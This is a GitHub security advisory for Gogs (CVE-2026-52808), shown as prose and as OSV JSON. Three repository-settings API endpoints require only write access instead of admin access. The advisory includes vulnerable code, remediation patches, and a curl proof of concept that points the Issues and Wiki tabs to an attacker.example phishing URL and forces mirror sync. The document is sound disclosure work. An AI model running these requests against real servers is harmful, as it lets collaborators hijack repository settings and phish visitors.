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GHSA-268J-37XF-PP52

Vulnerability from github – Published: 2026-06-23 17:03 – Updated: 2026-06-23 17:03

Summary

Gogs's write-level collaborators can mutate admin-only repository settings via API

Details

Summary

Three API endpoints — PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync — are gated by reqRepoWriter() rather than reqRepoAdmin(). The equivalent operations in the web UI sit behind reqRepoAdmin, which requires AccessMode >= AccessModeAdmin. A write-level collaborator (who has AccessMode == AccessModeWrite < AccessModeAdmin) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.

Severity

High (CVSS 3.1: 7.1)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Attack Vector: Network — the API endpoints are reachable over HTTP/S.
Attack Complexity: Low — a single API call is sufficient; no chaining or race condition required.
Privileges Required: Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.
User Interaction: None — the attacker acts unilaterally.
Scope: Unchanged — the impact is contained to the targeted repository's settings and its visitors.
Confidentiality Impact: None — the attacker does not read confidential data directly.
Integrity Impact: High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.
Availability Impact: Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.

Affected component

internal/route/api/v1/api.go — route registration (lines 365–367)
internal/route/api/v1/repo_repo.go — issueTracker() (line 400), wiki() (line 437), mirrorSync() (line 463)

CWE

CWE-863: Incorrect Authorization
CWE-269: Improper Privilege Management

Description

Three admin-equivalent API endpoints are protected by write-level middleware

api.go:365-367 registers the three settings endpoints with reqRepoWriter():

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)

reqRepoWriter() (defined at api.go:131-138) passes any user whose repository AccessMode >= AccessModeWrite:

func reqRepoWriter() macaron.Handler {
    return func(c *context.Context) {
        if !c.Repo.IsWriter() {
            c.Status(http.StatusForbidden)
            return
        }
    }
}

The handlers themselves perform no additional privilege check before mutating state:

// internal/route/api/v1/repo_repo.go:400-428
func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    _, repo := parseOwnerAndRepo(c)
    ...
    if form.EnableExternalTracker != nil {
        repo.EnableExternalTracker = *form.EnableExternalTracker
    }
    if form.ExternalTrackerURL != nil {
        repo.ExternalTrackerURL = *form.ExternalTrackerURL   // ← attacker-controlled URL written directly
    }
    ...
    database.UpdateRepository(repo, false)   // ← no admin check before this call
}

The wiki() handler (lines 437–461) follows the same pattern, writing repo.ExternalWikiURL directly and calling UpdateRepository with no admin gate.

The web UI imposes a stricter admin requirement for the same operations

cmd/gogs/web.go:472 wraps the entire /settings subtree with reqRepoAdmin:

// cmd/gogs/web.go:425-472
m.Group("/:username/:reponame", func() {
    m.Group("/settings", func() {
        m.Combo("").Get(repo.Settings).
            Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)
        ...
    }, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())

context.RequireRepoAdmin() (defined at context/repo.go:434-441) requires AccessMode >= AccessModeAdmin:

func RequireRepoAdmin() macaron.Handler {
    return func(c *Context) {
        if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
            c.NotFound()
            return
        }
    }
}

In the access mode hierarchy, AccessModeWrite < AccessModeAdmin. A write-level collaborator satisfies reqRepoWriter() but does not satisfy RequireRepoAdmin(). The API path provides the write-level collaborator with capabilities that the UI correctly withholds.

Full execution chain

Attacker precondition: Attacker is added as a repository collaborator with write access (AccessMode == AccessModeWrite).
API call: PATCH /api/v1/repos/OWNER/REPO/issue-tracker with Authorization: token WRITER_TOKEN and body {"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}.
Middleware: reqRepoWriter() checks c.Repo.IsWriter() → AccessMode >= AccessModeWrite → passes.
Handler: issueTracker() sets repo.EnableExternalTracker = true and repo.ExternalTrackerURL = "https://attacker.example/phish", then calls database.UpdateRepository(repo, false). No admin check occurs.
Impact: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.

Proof of Concept

# Precondition: attacker is a collaborator with WRITE access, not repo admin.

# 1) Redirect the Issues tab to an attacker-controlled phishing page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'
# Expected: HTTP 204 No Content

# 2) Redirect the Wiki tab to an attacker-controlled page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'
# Expected: HTTP 204 No Content

# 3) Force a mirror sync on a mirrored repository (potential resource abuse)
curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \
  -H "Authorization: token WRITER_TOKEN"
# Expected: HTTP 202 Accepted

Impact

A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.
The same redirect attack applies to the Wiki tab via the external wiki URL setting.
Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.
Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.
All three operations are silent — no notification is sent to repo admins when these settings change via the API.

Recommended remediation

Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)

Replace reqRepoWriter() with reqRepoAdmin() at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)

Option 2: Add an explicit admin check inside the handlers

Add c.Repo.IsAdmin() checks at the top of issueTracker(), wiki(), and mirrorSync(). This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.

func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    if !c.Repo.IsAdmin() {
        c.Status(http.StatusForbidden)
        return
    }
    ...
}

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:03:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThree API endpoints \u2014 `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` \u2014 are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode \u003e= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite \u003c AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync \u2014 none of which they are authorized to do.\n\n## Severity\n\n**High** (CVSS 3.1: 7.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L`\n\n- **Attack Vector:** Network \u2014 the API endpoints are reachable over HTTP/S.\n- **Attack Complexity:** Low \u2014 a single API call is sufficient; no chaining or race condition required.\n- **Privileges Required:** Low \u2014 only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.\n- **User Interaction:** None \u2014 the attacker acts unilaterally.\n- **Scope:** Unchanged \u2014 the impact is contained to the targeted repository\u0027s settings and its visitors.\n- **Confidentiality Impact:** None \u2014 the attacker does not read confidential data directly.\n- **Integrity Impact:** High \u2014 the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.\n- **Availability Impact:** Low \u2014 disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.\n\n\n## Affected component\n\n- `internal/route/api/v1/api.go` \u2014 route registration (lines 365\u2013367)\n- `internal/route/api/v1/repo_repo.go` \u2014 `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463)\n\n## CWE\n\n- **CWE-863**: Incorrect Authorization\n- **CWE-269**: Improper Privilege Management\n\n## Description\n\n### Three admin-equivalent API endpoints are protected by write-level middleware\n\n`api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`:\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoWriter(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoWriter(), mirrorSync)\n```\n\n`reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode \u003e= AccessModeWrite`:\n\n```go\nfunc reqRepoWriter() macaron.Handler {\n    return func(c *context.Context) {\n        if !c.Repo.IsWriter() {\n            c.Status(http.StatusForbidden)\n            return\n        }\n    }\n}\n```\n\nThe handlers themselves perform no additional privilege check before mutating state:\n\n```go\n// internal/route/api/v1/repo_repo.go:400-428\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n    _, repo := parseOwnerAndRepo(c)\n    ...\n    if form.EnableExternalTracker != nil {\n        repo.EnableExternalTracker = *form.EnableExternalTracker\n    }\n    if form.ExternalTrackerURL != nil {\n        repo.ExternalTrackerURL = *form.ExternalTrackerURL   // \u2190 attacker-controlled URL written directly\n    }\n    ...\n    database.UpdateRepository(repo, false)   // \u2190 no admin check before this call\n}\n```\n\nThe `wiki()` handler (lines 437\u2013461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate.\n\n### The web UI imposes a stricter admin requirement for the same operations\n\n`cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`:\n\n```go\n// cmd/gogs/web.go:425-472\nm.Group(\"/:username/:reponame\", func() {\n    m.Group(\"/settings\", func() {\n        m.Combo(\"\").Get(repo.Settings).\n            Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)\n        ...\n    }, ...)\n}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())\n```\n\n`context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode \u003e= AccessModeAdmin`:\n\n```go\nfunc RequireRepoAdmin() macaron.Handler {\n    return func(c *Context) {\n        if !c.IsLogged || (!c.Repo.IsAdmin() \u0026\u0026 !c.User.IsAdmin) {\n            c.NotFound()\n            return\n        }\n    }\n}\n```\n\nIn the access mode hierarchy, `AccessModeWrite \u003c AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds.\n\n### Full execution chain\n\n1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`).\n2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}`.\n3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` \u2192 `AccessMode \u003e= AccessModeWrite` \u2192 passes.\n4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = \"https://attacker.example/phish\"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs.\n5. **Impact**: All visitors to the repository who click the \"Issues\" tab are redirected to the attacker\u0027s server. The native issue tracker is bypassed permanently until a repo admin reverses the change.\n\n## Proof of Concept\n\n```bash\n# Precondition: attacker is a collaborator with WRITE access, not repo admin.\n\n# 1) Redirect the Issues tab to an attacker-controlled phishing page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker\" \\\n  -H \"Authorization: token WRITER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \u0027{\"enable_issues\":false,\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}\u0027\n# Expected: HTTP 204 No Content\n\n# 2) Redirect the Wiki tab to an attacker-controlled page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/wiki\" \\\n  -H \"Authorization: token WRITER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \u0027{\"enable_wiki\":false,\"enable_external_wiki\":true,\"external_wiki_url\":\"https://attacker.example/phish-wiki\"}\u0027\n# Expected: HTTP 204 No Content\n\n# 3) Force a mirror sync on a mirrored repository (potential resource abuse)\ncurl -i -X POST \"https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync\" \\\n  -H \"Authorization: token WRITER_TOKEN\"\n# Expected: HTTP 202 Accepted\n```\n\n## Impact\n\n- A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.\n- The same redirect attack applies to the Wiki tab via the external wiki URL setting.\n- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.\n- Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.\n- All three operations are silent \u2014 no notification is sent to repo admins when these settings change via the API.\n\n## Recommended remediation\n\n### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)\n\nReplace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI\u0027s established policy.\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoAdmin(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoAdmin(), mirrorSync)\n```\n\n### Option 2: Add an explicit admin check inside the handlers\n\nAdd `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.\n\n```go\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n    if !c.Repo.IsAdmin() {\n        c.Status(http.StatusForbidden)\n        return\n    }\n    ...\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-268j-37xf-pp52",
  "modified": "2026-06-23T17:03:07Z",
  "published": "2026-06-23T17:03:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-268j-37xf-pp52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/6283462119bd8894f1599d70339b5e823f99954a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gogs\u0027s write-level collaborators can mutate admin-only repository settings via API"
}

Find a vulnerability

Search criteria

Related vulnerabilities

GHSA-268J-37XF-PP52

Summary

Severity

Affected component

CWE

Description

Three admin-equivalent API endpoints are protected by write-level middleware

The web UI imposes a stricter admin requirement for the same operations

Full execution chain

Proof of Concept

Impact

Recommended remediation

Option 1: Change middleware to reqRepoAdmin() on all three endpoints (preferred)

Option 2: Add an explicit admin check inside the handlers

Credit

Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)